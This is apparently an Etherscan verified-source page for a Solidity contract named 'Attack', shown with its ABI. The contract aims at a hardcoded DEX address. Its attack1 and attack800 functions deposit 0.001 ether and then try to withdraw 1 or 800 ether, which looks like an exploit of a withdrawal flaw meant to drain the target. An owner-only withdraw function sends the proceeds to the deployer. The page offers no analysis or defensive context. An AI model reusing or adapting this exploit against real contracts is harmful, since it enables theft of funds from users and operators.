Contract

Contract Source Code (Solidity)

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Outline

• interface Dex
•    - function deposit()
•    - function withdraw(uint256 amount)
•  contract Attack *
•    - function attack1()
•    - function attack800()
•    - function withdraw(uint256 amount)

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/**
 *Submitted for verification at Etherscan.io on 2023-12-09
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8;


interface Dex {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}

contract Attack {
    address public owner = msg.sender;
    address public dex = 0x9a2d163aB40F88C625Fd475e807Bbc3556566f80;

    modifier onlyOwner() {
        require(msg.sender == owner, "Not the owner");
        _;
    }
   
function attack1() external payable {
        Dex(dex).deposit{value: 0.001 ether}();
        Dex(dex).withdraw(1e18);

    }

function attack800() external payable {
        Dex(dex).deposit{value: 0.001 ether}();
        Dex(dex).withdraw(800 ether);

    }


    receive() external payable {
        
    }

function withdraw(uint256 amount) external onlyOwner {
        payable(owner).transfer(amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"name":"attack1","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"attack800","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"dex","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

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ipfs://cb9b57bf11a62b9b538a8cc7d9c8104175fc6fad210913144165f9900b504da2